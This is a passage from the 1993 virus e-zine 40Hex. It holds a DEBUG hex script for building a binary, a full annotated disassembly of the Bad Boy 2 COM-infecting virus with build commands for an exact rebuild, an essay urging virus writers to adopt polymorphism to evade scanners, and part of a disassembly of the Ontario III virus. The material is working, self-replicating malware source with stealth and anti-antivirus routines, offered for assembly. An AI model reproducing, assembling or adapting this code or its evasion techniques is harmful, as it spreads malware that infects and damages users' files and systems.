e 0980 50 51 52 53 55 56 57 1E 06 0E 1F 0E 07 2E 80 3E
|
||
e 0990 CD 05 00 74 03 EB 1C 90 E8 59 FF 75 16 E8 7D FC
|
||
e 09A0 74 11 E8 95 00 FE 0E CD 05 07 1F 5F 5E 5D 5B 5A
|
||
e 09B0 59 58 C3 07 1F 5F 5E 5D 5B 5A 59 58 C3 00 50 1E
|
||
e 09C0 58 2E A3 2F 01 2E 89 16 2D 01 58 C3 0E B0 00 E6
|
||
e 09D0 20 B8 24 35 CD 21 89 1E 39 01 8C C3 89 1E 37 01
|
||
e 09E0 07 BE 0A 02 BF 19 02 B9 0F 00 AC 04 20 AA E2 FA
|
||
e 09F0 C3 50 0E 1F 0E 07 8A 1E 3B 01 80 FB 0C 77 39 80
|
||
e 0A00 FB 00 74 34 B0 08 E6 70 E4 71 3C 0C 77 2A 3C 00
|
||
e 0A10 74 26 3A C3 74 22 FE C3 E8 14 00 3A C3 74 19 FE
|
||
e 0A20 C3 E8 0B 00 3A C3 74 10 1F E8 3A 00 0E 1F C3 80
|
||
e 0A30 FB 0C 76 03 80 EB 0C C3 58 C3 BA 73 06 B8 24 25
|
||
e 0A40 CD 21 80 3E 24 07 43 75 06 E8 42 FC EB 04 90 E8
|
||
e 0A50 C5 FC 1E 8B 16 39 01 A1 37 01 8E D8 B8 24 25 CD
|
||
e 0A60 21 1F C3 B0 03 CF BA B0 06 B8 1C 25 CD 21 C6 06
|
||
e 0A70 B0 06 90 90 B8 00 B8 8E C0 BF A0 0F B8 20 07 B9
|
||
e 0A80 0B 00 F2 AB 0E 07 C3 00 00 00 20 07 0F 0A 0F 0A
|
||
e 0A90 0F 0A 0F 0A 0F 0A 0F 0A 0F 0A 0F 0A F7 0E EE 0C
|
||
e 0AA0 90 FB 50 51 52 53 55 56 57 1E 06 0E 1F EB 0B 90
|
||
e 0AB0 07 1F 5F 5E 5D 5B 5A 59 58 CF B8 00 B8 8E C0 E8
|
||
e 0AC0 2B 00 BE 9A 06 B9 16 00 F2 A4 80 3E AE 06 EE 74
|
||
e 0AD0 08 C6 06 AE 06 EE EB 06 90 C6 06 AE 06 F0 26 8B
|
||
e 0AE0 05 B4 0E A3 9A 06 C6 06 99 06 00 EB C3 BF 00 00
|
||
e 0AF0 BE 9C 06 57 B9 12 00 FC F3 A6 5F 74 0B 47 47 81
|
||
e 0B00 FF A0 0F 75 EB BF 00 00 81 FF 9E 0F 75 05 C6 06
|
||
e 0B10 B0 06 CF C3 43 0C 0A
|
||
rcx
|
||
0A17
|
||
w
|
||
q
|
||
-------------------------------------------------------------------------------
|
||
DA
|
||
40Hex Issue 10 Volume 3 Number 1 File 006
|
||
|
||
The following is the Bad Boy 2 virus. Patricia M. Hoffman's VSUM is clearly
|
||
not a good source of virus description, so we will not bother including its
|
||
utterly useless description of the virus here. Bad Boy 2 is a resident COM
|
||
infector. After 10 infections, it turns itself off. Although most of the
|
||
code is written well, there are still a few bugs and inconsistencies in it.
|
||
It implements several well-known stealth techniques, including playing with
|
||
the system file table. It is a segmented virus, with variable placement of
|
||
each segment when it infects a file. Thus the locations of each segment in
|
||
the virus relative to each other changes upon each infection.
|
||
|
||
For a byte-to-byte match up of the original, assemble with the following:
|
||
tasm badboy2.asm
|
||
tlink /t badboy2.asm
|
||
Note only one pass is required.
|
||
|
||
Dark Angel
|
||
Phalcon/Skism 1993
|
||
|
||
-------------------------------------------------------------------------------
|
||
.model tiny
|
||
.code
|
||
org 100h
|
||
; Bad Boy 2 virus
|
||
; Disassembly done by Dark Angel of Phalcon/Skism
|
||
; For 40Hex Issue 10 Volume 3 Number 1
|
||
start:
|
||
push cs:startviruspointer ; save on stack for
|
||
push cs ; return
|
||
pop ds
|
||
jmp word ptr cs:encryptpointer ; decrypt virus
|
||
endstart:
|
||
|
||
curpointer dw 0
|
||
infcounter db 0
|
||
filesize dw 2
|
||
filetime dw 0
|
||
filedate dw 0
|
||
|
||
origint21 dw 0, 0
|
||
DOSdiskOFF dw 0
|
||
DOSdiskSEG dw 0
|
||
oldint21 dw 0, 0
|
||
|
||
oldint24 dw 0, 0
|
||
|
||
; The parts of the virus are here
|
||
encryptpointer dw offset carrierencrypt
|
||
startviruspointer dw offset startvirus
|
||
installpointer dw offset install
|
||
exitviruspointer dw offset exitvirus
|
||
restoreint21pointer dw offset restoreint21
|
||
int24pointer dw offset int24
|
||
int21pointer dw offset int21
|
||
infectpointer dw offset infect
|
||
|
||
encryptlength dw endencrypt-encrypt
|
||
startviruslength dw endstartvirus-startvirus
|
||
installlength dw endinstall-install
|
||
exitviruslength dw endexitvirus-exitvirus
|
||
restoreint21length dw endrestoreint21-restoreint21
|
||
int24length dw endint24-int24
|
||
int21length dw endint21-int21
|
||
infectlength dw endinfect-infect
|
||
|
||
|
||
enddata:
|
||
|
||
encrypt: ; and decrypt
|
||
mov bx,offset startviruspointer
|
||
mov cx,6
|
||
do_next_segment:
|
||
cmp bx,offset int24pointer
|
||
jne not_int24pointer
|
||
add bx,2
|
||
not_int24pointer:
|
||
push bx
|
||
push cx
|
||
mov ax,[bx] ; get start offset
|
||
mov cx,[bx+encryptlength-encryptpointer] ; and length
|
||
mov bx,ax
|
||
encrypt_segment:
|
||
xor [bx],al ; encrypt cx bytes
|
||
inc bx
|
||
loop encrypt_segment
|
||
|
||
pop cx
|
||
pop bx
|
||
add bx,2 ; go to next segment
|
||
loop do_next_segment
|
||
retn
|
||
endencrypt:
|
||
|
||
startvirus:
|
||
mov es,cs:[2] ; get top of memory
|
||
mov di,100h ; check if virus
|
||
mov si,100h ; already resident
|
||
mov cx,offset endstart - offset start - 1
|
||
rep cmpsb
|
||
jnz not_installed ; continue if not
|
||
jmp cs:exitviruspointer ; otherwise, quit
|
||
not_installed:
|
||
mov ax,cs ; get current program's
|
||
dec ax ; MCB
|
||
mov ds,ax
|
||
cmp byte ptr ds:[0],'Z' ; check if last one
|
||
;nop
|
||
je is_last_MCB ; continue if so
|
||
jmp cs:exitviruspointer ; otherwise, quit
|
||
is_last_MCB:
|
||
rsize = ((endvirus - start + 15)/16+1)*3 ; resident size in
|
||
; paragraphs
|
||
sub word ptr ds:[3],rsize ; decrease MCB's memory
|
||
mov ax,es ; get segment of high memory
|
||
sub ax,rsize ; decrease by virus size
|
||
mov es,ax ; es = start segment of virus
|
||
mov ds:[12h],ax ; put value in PSP top of
|
||
; memory field
|
||
push cs
|
||
pop ds
|
||
mov cs:infcounter,0 ; clear infection counter
|
||
mov di,100h
|
||
mov cx,offset enddata - offset start
|
||
mov si,100h
|
||
rep movsb
|
||
mov bx,cs:encryptpointer
|
||
add bx,encrypt_segment-encrypt+1
|
||
xor byte ptr [bx],18h ; change to: xor [bx],bl
|
||
|
||
; shuffling segments to different locations
|
||
mov cx,8
|
||
mov curpointer,offset encrypt
|
||
shuffle:
|
||
push cx
|
||
call random_segment
|
||
push bx
|
||
mov ax,[bx]
|
||
push ax
|
||
add bx,encryptlength-encryptpointer
|
||
mov cx,[bx]
|
||
pop si
|
||
pop bx
|
||
xchg di,curpointer
|
||
mov es:[bx],di ; copy segment
|
||
rep movsb ; to memory area
|
||
xchg di,curpointer
|
||
mov ax,8000h
|
||
or [bx],ax ; mark already copied
|
||
pop cx
|
||
loop shuffle
|
||
|
||
mov cl,8
|
||
not ax ; ax = 7FFFh
|
||
mov bx,offset encryptpointer
|
||
clear_hibit: ; restore the pointers
|
||
and [bx],ax
|
||
add bx,2
|
||
loop clear_hibit
|
||
|
||
jmp cs:installpointer
|
||
|
||
random_segment:
|
||
push cx
|
||
push es
|
||
xor cx,cx
|
||
mov es,cx
|
||
random_segment_loop:
|
||
mov bx,es:[46Ch] ; get timer ticks since
|
||
; midnight MOD 8
|
||
db 081h,0e3h,7,0 ; and bx,7
|
||
shl bx,1 ; multiply by 2
|
||
add bx,offset encryptpointer
|
||
test word ptr [bx],8000h ; check if already moved
|
||
jnz random_segment_loop ; do it again if so
|
||
pop es
|
||
pop cx
|
||
retn
|
||
endstartvirus:
|
||
|
||
install:
|
||
xor ax,ax
|
||
mov ds,ax ; ds->interrupt table
|
||
mov ax,ds:21h*4 ; save old int 21h handler
|
||
mov es:oldint21,ax
|
||
mov ax,ds:21h*4+2
|
||
mov word ptr es:oldint21+2,ax
|
||
mov ah,30h ; get DOS version
|
||
int 21h
|
||
|
||
cmp ax,1E03h ; 3.X?
|
||
jne not_DOS_3X ; skip if not
|
||
mov es:origint21,1460h ; use known value for int 21h
|
||
mov ax,1203h ; get DOS segment
|
||
push ds
|
||
int 2Fh
|
||
|
||
mov word ptr es:origint21+2,ds
|
||
pop ds
|
||
jmp short is_DOS_3X
|
||
nop
|
||
not_DOS_3X:
|
||
mov ax,ds:21h*4
|
||
mov es:origint21,ax
|
||
mov ax,ds:21h*4+2
|
||
mov word ptr es:origint21+2,ax
|
||
is_DOS_3X:
|
||
cli ; set new int 21h handler
|
||
mov ax,es:int21pointer
|
||
mov ds:21h*4,ax
|
||
mov ax,es
|
||
mov ds:21h*4+2,ax
|
||
sti
|
||
mov cx,es
|
||
mov ah,13h ; get old DOS disk handler
|
||
int 2Fh ; to es:bx
|
||
|
||
push es
|
||
mov es,cx
|
||
mov es:DOSdiskOFF,dx
|
||
mov es:DOSdiskSEG,ds
|
||
pop es
|
||
int 2Fh ; restore DOS disk handler
|
||
jmp cs:exitviruspointer
|
||
endinstall:
|
||
|
||
exitvirus:
|
||
push cs ; copy return routine to
|
||
push cs ; buffer at end of file
|
||
pop ds ; and transfer control
|
||
pop es ; to it
|
||
mov si,cs:exitviruspointer
|
||
add si,offset return_to_COM - offset exitvirus
|
||
;nop
|
||
mov di,cs:filesize
|
||
add di,offset endvirus
|
||
push di
|
||
mov cx,offset end_return_to_COM - offset return_to_COM
|
||
cld
|
||
rep movsb
|
||
retn ; jmp to return_to_COM
|
||
|
||
return_to_COM:
|
||
mov si,cs:filesize
|
||
add si,100h
|
||
cmp si,offset endvirus ; check if small file
|
||
jae not_negative ; if not, skip next
|
||
mov si,offset endvirus ; adjust for too small
|
||
not_negative:
|
||
mov di,100h
|
||
mov cx,offset endvirus - offset start - 1 ; ????
|
||
rep movsb ; copy old file to start
|
||
mov ax,100h ; and exit the virus
|
||
push ax
|
||
retn
|
||
end_return_to_COM:
|
||
|
||
endexitvirus:
|
||
|
||
restoreint21:
|
||
xor di,di
|
||
mov ds,di
|
||
cli
|
||
mov di,cs:oldint21
|
||
mov ds:21h*4,di
|
||
mov di,word ptr cs:oldint21+2
|
||
mov ds:21h*4+2,di
|
||
sti
|
||
retn
|
||
|
||
plea db 'Make me better!'
|
||
|
||
endrestoreint21:
|
||
|
||
int24:
|
||
mov al,3
|
||
iret
|
||
|
||
message db 'The Bad Boy virus, Version 2.0, Copyright (C) 1991.',0
|
||
|
||
endint24:
|
||
|
||
int21:
|
||
push bx
|
||
push si
|
||
push di
|
||
push es
|
||
push ax
|
||
cmp ax,4B00h ; check if execute
|
||
jz execute ; continue if so
|
||
jmp short exitint21
|
||
nop
|
||
execute:
|
||
push ds
|
||
push cs
|
||
pop es
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov si,24h*4 ; get old int 24h
|
||
mov di,offset oldint24 ; handler
|
||
movsw
|
||
movsw
|
||
mov ax,cs:int24pointer
|
||
cli ; set new critical error
|
||
mov ds:24h*4,ax ; handler
|
||
mov ax,cs
|
||
mov ds:24h*4+2,ax
|
||
sti
|
||
pop ds
|
||
mov ax,3D00h ; open file read only
|
||
pushf
|
||
call dword ptr cs:oldint21
|
||
jc restore_exitint21
|
||
mov bx,ax ; handle to bx
|
||
call cs:infectpointer
|
||
pushf
|
||
mov ah,3eh ; close file
|
||
pushf
|
||
call dword ptr cs:oldint21
|
||
popf
|
||
jc restore_exitint21
|
||
push ds
|
||
cli ; subvert nasty disk
|
||
xor ax,ax ; monitoring programs
|
||
mov ds,ax
|
||
mov ax,cs:DOSdiskOFF
|
||
xchg ax,ds:13h*4
|
||
mov cs:DOSdiskOFF,ax
|
||
mov ax,cs:DOSdiskSEG
|
||
xchg ax,ds:13h*4+2
|
||
mov cs:DOSdiskSEG,ax
|
||
sti
|
||
pop ds
|
||
restore_exitint21:
|
||
push ds
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ax,cs:oldint24
|
||
mov ds:24h*4,ax
|
||
mov ax,word ptr cs:oldint24+2
|
||
mov ds:24h*4+2,ax
|
||
pop ds
|
||
exitint21:
|
||
pop ax
|
||
pop es
|
||
pop di
|
||
pop si
|
||
pop bx
|
||
jmp dword ptr cs:oldint21
|
||
endint21:
|
||
|
||
infect:
|
||
push cx
|
||
push dx
|
||
push ds
|
||
push es
|
||
push di
|
||
push bp
|
||
push bx
|
||
mov ax,1220h ; get JFT entry for file
|
||
int 2Fh ; handle bx
|
||
|
||
mov bl,es:[di]
|
||
xor bh,bh
|
||
mov ax,1216h ; get associated SFT
|
||
int 2Fh ; entry to es:di
|
||
|
||
pop bx
|
||
mov ax,es:[di+11h] ; get file size
|
||
cmp ax,0F000h ; exit if too large
|
||
jb not_too_large
|
||
jmp errorinfect
|
||
not_too_large:
|
||
mov word ptr es:[di+2],2 ; set to read/write mode
|
||
mov ax,es:[di+11h] ; get file size (again)
|
||
mov cs:filesize,ax ; save it
|
||
mov ax,es:[di+0Dh] ; get file time
|
||
mov cs:filetime,ax ; save it
|
||
mov ax,es:[di+0Fh] ; get file date
|
||
mov cs:filedate,ax ; save it
|
||
push cs
|
||
pop ds
|
||
mov dx,4E9h
|
||
mov cx,3E8h
|
||
mov ah,3Fh ; Read from file
|
||
pushf
|
||
call dword ptr cs:oldint21
|
||
jnc read_ok
|
||
jmp errorinfect
|
||
read_ok:
|
||
mov bp,ax
|
||
mov si,dx
|
||
mov ax,'MZ' ; check if EXE
|
||
cmp ax,[si]
|
||
jne not_MZ
|
||
jmp errorinfect
|
||
not_MZ:
|
||
xchg ah,al
|
||
cmp ax,[si] ; check if EXE
|
||
jne not_ZM
|
||
jmp errorinfect
|
||
not_ZM:
|
||
push es
|
||
push di
|
||
push cs
|
||
pop es
|
||
mov si,100h ; check if already
|
||
mov di,dx ; infected
|
||
mov cx,offset endstart - offset start - 1
|
||
repe cmpsb
|
||
pop di
|
||
pop es
|
||
jnz not_already_infected
|
||
jmp errorinfect
|
||
not_already_infected:
|
||
mov word ptr es:[di+15h],0
|
||
push es
|
||
push di
|
||
mov si,cs:infectpointer
|
||
add si,offset write_virus - offset infect
|
||
xor di,di
|
||
push cs
|
||
pop es
|
||
mov cx,offset end_write_virus-offset write_virus
|
||
cld
|
||
rep movsb
|
||
pop di
|
||
pop es
|
||
mov si,cs:infectpointer
|
||
add si,offset finish_infect - offset infect
|
||
push si
|
||
xor si,si
|
||
push si
|
||
push ds
|
||
cli ; subvert nasty
|
||
xor ax,ax ; antivirus programs
|
||
mov ds,ax
|
||
mov ax,cs:DOSdiskOFF
|
||
xchg ax,ds:13h*4
|
||
mov cs:DOSdiskOFF,ax
|
||
mov ax,cs:DOSdiskSEG
|
||
xchg ax,ds:13h*4+2
|
||
mov cs:DOSdiskSEG,ax
|
||
sti
|
||
pop ds
|
||
retn
|
||
|
||
write_virus:
|
||
push bx
|
||
call cs:encryptpointer ; encrypt virus
|
||
pop bx
|
||
mov dx,100h
|
||
mov ah,40h ; write virus
|
||
mov cx,offset endvirus - offset start
|
||
pushf
|
||
call dword ptr cs:origint21
|
||
pushf
|
||
push bx
|
||
call cs:encryptpointer ; decrypt virus
|
||
pop bx
|
||
popf
|
||
jnc write_OK
|
||
pop ax
|
||
mov ax,cs:infectpointer
|
||
add ax,offset infectOK - offset infect
|
||
push ax
|
||
retn
|
||
write_OK:
|
||
mov ax,es:[di+11h] ; move file pointer
|
||
mov es:[di+15h],ax ; to end of file
|
||
mov dx,offset endvirus
|
||
mov cx,bp
|
||
mov ah,40h ; concatenate carrier
|
||
pushf ; file's first few bytes
|
||
call dword ptr cs:origint21
|
||
retn
|
||
end_write_virus:
|
||
|
||
finish_infect:
|
||
mov ax,5701h ; restore file time/date
|
||
mov cx,cs:filetime
|
||
mov dx,cs:filedate
|
||
pushf
|
||
call dword ptr cs:oldint21
|
||
inc cs:infcounter
|
||
cmp cs:infcounter,10d ; after 10 infections,
|
||
jne infectOK
|
||
call cs:restoreint21pointer ; turn off virus
|
||
jmp short infectOK
|
||
errorinfect:
|
||
stc ; set error flag
|
||
jmp short exitinfect
|
||
infectOK:
|
||
clc ; clear error flag
|
||
exitinfect:
|
||
pop bp
|
||
pop di
|
||
pop es
|
||
pop ds
|
||
pop dx
|
||
pop cx
|
||
retn
|
||
endinfect:
|
||
db 0
|
||
endvirus:
|
||
int 20h
|
||
|
||
carrierencrypt:
|
||
mov word ptr cs:encryptpointer,offset encrypt
|
||
retn
|
||
|
||
end start
|
||
-------------------------------------------------------------------------------
|
||
DA
|
||
40Hex Issue 10 Volume 3 Number 1 File 007
|
||
|
||
A Case Against Simple Encryption And For Polymorphism
|
||
~ ~~~~ ~~~~~~~ ~~~~~~ ~~~~~~~~~~ ~~~ ~~~ ~~~~~~~~~~~~
|
||
|
||
In a well-crafted virus, every line of code should serve a definite
|
||
purpose. No byte should be wasted. Is encryption, long used by virus
|
||
programmers, still a viable method of eluding scanners and, if not, is
|
||
encryption any longer a necessary part of a virus?
|
||
The type of encryption found in the typical virus is a simple XOR loop or
|
||
another similar type of operation, i.e. rotate, add, etc. The idea behind
|
||
encryption was to change the virus during each iteration so that scanners would
|
||
not be able to detect it. However, such simple encryption hardly serves this
|
||
job, as most scanners simply scan for a pattern found in the encryption. Only
|
||
a handful delve deeper than the decryption routine. So the sole purpose of
|
||
simple encryption such as that seen in most viruses nowadays seems to be to
|
||
hide text strings from archaic text searching programs (remember those virus
|
||
books that touted CHK4BOMB as the best thing since rotten Jello?). But is it
|
||
worth including encryption solely for this purpose? I think not. Few people
|
||
search files for unusual text strings and the extra code needed to encrypt a
|
||
file for this purpose may hardly be justified to overcome this obstacle.
|
||
As mentioned previously, waste should be frowned upon in viruses.
|
||
Unquestionably, the ultimate goal of a virus is to avoid detection while
|
||
spreading to the greatest number of hosts. It has been established that simple
|
||
decryption patterns do not aid a virus in avoiding detection from scanners.
|
||
And encryption is certainly not a vital part of the replication process. Thus
|
||
simple attempts at encryption do not add anything of value to the virus.
|
||
Yet these weak encryption routines _are occasionally_ necessary, but only
|
||
as stepping stones for fledgling virus programmers entering the realm of
|
||
polymorphism. Without a few simple encryption routines and knowledge of their
|
||
use under his belt, a virus programmer would be hard-pressed to create a truly
|
||
polymorphic virus. Therefore, it should be noted that simple encryption should
|
||
be used only as part of the learning process. However, remember also that such
|
||
encryption pales in the face of modern virus scanners and polymorphism is a far
|
||
better alternative.
|
||
Polymorphism is perhaps the best technique modern viruses use to avoid
|
||
scanners. The other alternative, stealth techniques, is limited in utility and
|
||
is rendered helpless in the face of simple memory scans. A combination of the
|
||
two is desirable, yet it is not always possible to implement both in a virus of
|
||
limited size. So let us examine polymorphism.
|
||
Polymorphism, in its simplest form, merely consists of a fixed-length
|
||
decryptor with a few bytes which may be altered during each infection. This is
|
||
merely a small step up from the simple encryption routine. A few extra XOR
|
||
statements in the code are all that is necessary for implementing such a
|
||
routine. However, this is, once again, only a small step up; most such fixed-
|
||
length decryptors may be detected by a couple scan strings with wildcards.
|
||
More powerful polymorphism is necessary for evasion of scanners.
|
||
The MtE and the recently introduced TPE are both powerful products which
|
||
allow every virus to include polymorphism. However, it is important to note
|
||
that viruses utilising such products may be detected by existing scanners.
|
||
Therefore, it is desirable to write a new polymorphic routine from scratch.
|
||
This will allow for longer survival of the virus.
|
||
The chief problem with good polymorphism is that the virus should be able
|
||
to detect existing infections of itself in files. Otherwise, the virus could
|
||
grow beyond limit and much disk space would be taken up in redundant
|
||
infections. Two methods are commonly used; the infection marker byte and the
|
||
time stamp. However, such a check is inherently limiting as the virus scanner
|
||
is then able to use said check to its advantage; it need not check files, for
|
||
example, save those which have the seconds field set to eight. Then again, a
|
||
scanner which functions in this manner would be helpless in detecting another
|
||
virus utilising the identical polymorphic routine but with a different
|
||
infection stamp.
|
||
The second major difficulty with good polymorphic routines is simply the
|
||
size. MtE, for example, adds over 2,000 bytes of code. A working, albeit
|
||
limited, polymorphic routine is possible in half this size, yet it would still
|
||
be 1,000 bytes, a size larger than most viruses. Increased size, of course,
|
||
increases the disk access time. While generally irrelevant in a harddisk-based
|
||
environment, this increased infection time becomes crucial when infecting files
|
||
on floppy diskettes. There are precious few ways of alleviating this problem;
|
||
the only real solution is to decrease the functionality of the polymorphic
|
||
routine and thereby compromise its worth.
|
||
Taken as a whole, the advantages in utilising polymorphic routines should
|
||
outweigh the disadvantages. The increased difficulty of scanning may allow the
|
||
virus to slip through the cracks even after a virus scanner claims to detect it
|
||
reliably. Take, for example, MtE. To this day, many virus scanners fail to
|
||
accurately report MtE infections; some still trigger false positives. To
|
||
reiterate a previous point - simple decryption routines are worthless, as they
|
||
fail to serve their main purpose of aiding in the evasion of scanners. Even
|
||
simple polymorphic routines are easily defeated by scanners; true polymorphism
|
||
or no encryption at all are only alternatives.
|
||
|
||
Dark Angel
|
||
Phalcon/Skism 1993
|
||
40Hex Issue 10 Volume 3 Number 1 File 008
|
||
|
||
The Ontario III virus was written by one of our YAM friends up in
|
||
Canada, Death Angel. The virus infects COM/EXE files. Additionally, it
|
||
attaches to SYS files yet does not truly infect them. When the virus is
|
||
executed from a SYS file, it goes resident yet it never alters the interrupt
|
||
vectors. Therefore, it is merely taking up space in memory. The virus
|
||
automatically attacks COMSPEC upon receiving control, whether it is in a COM,
|
||
EXE, or SYS host file. However, I suspect that the virus will have trouble
|
||
dealing with command interpreters apart from COMMAND.COM, as it makes certain
|
||
assumptions, i.e. the end of the file is filled with null characters. The
|
||
virus utilises a simple polymorphic routine, although the decryptor is of a
|
||
fixed length. The polymorphism is therefore of questionable utility.
|
||
Additionally, the boot sector is pointless as it is never accessed. There are
|
||
a few additional bugs in the virus which detract from its overall quality.
|
||
-------------------------------------------------------------------------------
|
||
.model tiny
|
||
.code
|
||
; Ontario III
|
||
; Disassembly by Dark Angel of Phalcon/Skism
|
||
; Assemble with TASM /m ONTARIO3.ASM
|
||
|
||
; Virus written by Death Angel of YAM
|
||
org 0
|
||
|
||
decrypt:
|
||
patch1:
|
||
mov di,offset endvirus ; usually: offset enddecrypt
|
||
patch2 = $ - 2
|
||
patch3 = $
|
||
mov cx,37E5h
|
||
patch4 = $ - 2
|
||
patch5:
|
||
db 82h, 0C5h, 0D0h ; add ch,0D0h
|
||
patch6 = $ - 1
|
||
patch7:
|
||
mov al,0Ah
|
||
patch8 = $ - 1
|
||
|
||
decrypt_loop:
|
||
add cs:[di],al
|
||
patch9 = $ - 1
|
||
patch10:
|
||
ror al,cl
|
||
patch11 = $ - 1
|
||
patch12:
|
||
inc di
|
||
patch13:
|
||
loop decrypt_loop
|
||
enddecrypt:
|
||
|
||
patch14:
|
||
db 89h, 0FBh ; mov bx,di
|
||
patch15 = $ - 1
|
||
|
||
sub bx,offset save4
|
||
xchg ax,cx
|
||
dec ax
|
||
cld
|
||
call saveorigvectors
|
||
db 0e9h ; jmp
|
||
SYSpatch dw 0 ; currently jmp to next line
|
||
int 21h ; installation check
|
||
or al,ah
|
||
jz restorefile
|
||
push ds
|
||
mov cx,bx
|
||
mov di,ds ; save current ds
|
||
mov ah,13h ; get BIOS int 13h handler
|
||
int 2Fh ; to ds:dx and es:bx
|
||
|
||
mov si,ds ; does function function?
|
||
cmp si,di
|
||
je skipit
|
||
push ds
|
||
push dx
|
||
mov ah,13h ; restore handler
|
||
int 2Fh
|
||
|
||
|
||
mov bx,cx ; but save its address too
|
||
pop word ptr cs:[bx+storeint13_1]
|
||
pop word ptr cs:[bx+storeint13_2]
|
||
skipit:
|
||
xor di,di
|
||
mov cx,es
|
||
dec cx
|
||
mov ds,cx ; get MCB of current program
|
||
sub word ptr [di+3],140h ; decrease size by 5K
|
||
mov ax,[di+12h] ; get high memory from PSP
|
||
sub ax,140h ; decrease size by 5K
|
||
mov [di+12h],ax ; replace it
|
||
mov es,ax ; es->high memory segment
|
||
sub ax,1000h
|
||
mov word ptr cs:[bx+patchsegment],ax
|
||
push cs
|
||
pop ds
|
||
mov si,bx
|
||
mov cx,offset save4
|
||
rep movsb
|
||
mov ds,cx
|
||
cli
|
||
mov word ptr ds:21h*4,offset int21 ; set int 21h handler
|
||
mov ds:21h*4+2,es ; to virus's
|
||
sti
|
||
mov ax,4BFFh ; infect COMSPEC
|
||
push bx
|
||
int 21h
|
||
pop bx
|
||
pop ds
|
||
push ds
|
||
pop es
|
||
restorefile:
|
||
lea si,[bx+offset save4]
|
||
mov di,100h
|
||
cmp bx,di
|
||
jb restoreEXE
|
||
push di
|
||
movsw
|
||
movsw
|
||
retn
|
||
restoreEXE:
|
||
mov ax,es ; get start segment
|
||
add ax,10h ; adjust for PSP
|
||
add cs:[si+2],ax ; relocate CS
|
||
add cs:[si+4],ax ; relocate SS
|
||
cli
|
||
mov sp,cs:[si+6] ; restore stack
|
||
mov ss,cs:[si+4]
|
||
sti
|
||
jmp dword ptr cs:[si]
|
||
|
||
int21instcheck:
|
||
inc ax
|
||
iret
|
||
|
||
int21:
|
||
cmp ax,0FFFFh ; installation check?
|
||
je int21instcheck
|
||
cmp ah,4Bh ; execute?
|
||
je execute
|
||
cmp ah,11h ; FCB find first?
|
||
je findfirstnext
|
||
cmp ah,12h ; FCB find next?
|
||
je findfirstnext
|
||
cmp ax,3D00h ; open file read only?
|
||
jne int21exit
|
||
call handleopen
|
||
int21exit:
|
||
db 0EAh ; jmp far ptr
|
||
oldint21 dd 0
|
||
|
||
findfirstnext: ; standard stealth routine
|
||
push bp
|
||
mov bp,sp
|
||
cmp word ptr [bp+4],1234h
|
||
patchsegment = $ - 2
|
||
pop bp
|
||
jb int21exit
|
||
call callint21 ; do findfirst/next
|
||
call pushall
|
||
mov ah,2Fh ; Get DTA
|
||
call callint21
|
||
cmp byte ptr es:[bx],0FFh ; extended FCB?
|
||
je findfirstnextnotextendedFCB
|
||
sub bx,7 ; convert to standard
|
||
findfirstnextnotextendedFCB:
|
||
mov al,es:[bx+1Eh] ; get seconds counter
|
||
and al,1Fh ; check if 62 seconds
|
||
cmp al,1Fh ; (infection marker)
|
||
jne findfirstnextexit ; exit if not
|
||
mov dx,es:[bx+26h] ; get file size
|
||
mov ax,es:[bx+24h]
|
||
sub ax,viruslength ; decrease by virus
|
||
sbb dx,0 ; size
|
||
or dx,dx
|
||
jc findfirstnextexit
|
||
mov es:[bx+26h],dx ; replace file size
|
||
mov es:[bx+24h],ax ; with "stealthed" one
|
||
findfirstnextexit:
|
||
call popall
|
||
iret
|
||
|
||
execute:
|
||
mov byte ptr cs:infectSYS,0
|
||
cmp al,1 ; load/don't execute
|
||
je load_noexecute
|
||
cmp al,0FFh ; called by virus
|
||
je infectCOMSPEC
|
||
call infectDSDX
|
||
jmp short int21exit
|
||
|
||
infectCOMMANDCOM:
|
||
mov byte ptr cs:infectSYS,0
|
||
push dx
|
||
push ds
|
||
mov dx,offset command_com
|
||
push cs
|
||
pop ds
|
||
mov byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM
|
||
call infectDSDX
|
||
pop ds
|
||
pop dx
|
||
iret
|
||
|
||
infectCOMSPEC:
|
||
mov ah,51h ; Get current PSP
|
||
call callint21
|
||
mov es,bx
|
||
mov ds,es:[2Ch] ; environment block
|
||
xor si,si
|
||
push cs
|
||
pop es
|
||
infectCOMSPECfindcomspec:
|
||
mov di,offset comspec ; is 'COMSPEC=' the first
|
||
mov cx,4 ; entry in environment?
|
||
repe cmpsw ; (should be)
|
||
jcxz infectCOMSPECnoenvironment ; otherwise, quit
|
||
infectCOMSPECfindend:
|
||
lodsb ; search for end of string
|
||
or al,al
|
||
jnz infectCOMSPECfindend
|
||
cmp byte ptr [si],0 ; found it?
|
||
jne infectCOMSPECfindcomspec; nope, try again
|
||
jmp short infectCOMMANDCOM ; otherwise, infect
|
||
infectCOMSPECnoenvironment:
|
||
mov dx,si
|
||
mov byte ptr cs:infCOMMAND,0FFh ; infecting COMMAND.COM
|
||
call infectDSDX ; but are we really? Maybe
|
||
iret ; it's 4DOS. This is a bug.
|
||
load_noexecute:
|
||
push es ; save parameter block
|
||
push bx
|
||
call callint21 ; prechain
|
||
pop bx
|
||
pop es
|
||
call pushall
|
||
jnc load_noexecute_ok ; continue if no error
|
||
jmp load_noexecute_exit
|
||
load_noexecute_ok:
|
||
xor cx,cx
|
||
lds si,dword ptr es:[bx+12h]; get entry point on return
|
||
push ds
|
||
push si
|
||
mov di,100h
|
||
cmp si,di
|
||
jl loading_EXE
|
||
ja load_noexecute_quit
|
||
; debugger active
|
||
lodsb
|
||
cmp al,0E9h ; check if infected
|
||
jne load_noexecute_quit
|
||
lodsw
|
||
push ax ; save jmp location
|
||
lodsb
|
||
cmp al,'O' ; check for infection marker
|
||
pop si ; get jmp location
|
||
jnz load_noexecute_quit
|
||
add si,103h ; convert to file offset
|
||
inc cx
|
||
inc cx
|
||
pop ax
|
||
push si
|
||
push ds
|
||
pop es
|
||
jmp short check_infection
|
||
loading_EXE:
|
||
lea di,[bx+0Eh] ; check SS:SP on return
|
||
cmp word ptr es:[di],9FFh ; infected?
|
||
jne load_noexecute_quit
|
||
check_infection:
|
||
lodsb
|
||
cmp al,0BBh ; possibility 1
|
||
je infected_checked1
|
||
cmp al,0BEh ; possibility 2
|
||
je infected_checked1
|
||
cmp al,0BFh ; possibility 3
|
||
jne load_noexecute_quit
|
||
infected_checked1:
|
||
lodsw ; get starting offset
|
||
push ax ; to decrypt
|
||
lodsb ; get next byte
|
||
cmp al,0B9h ; check for infection
|
||
lodsw
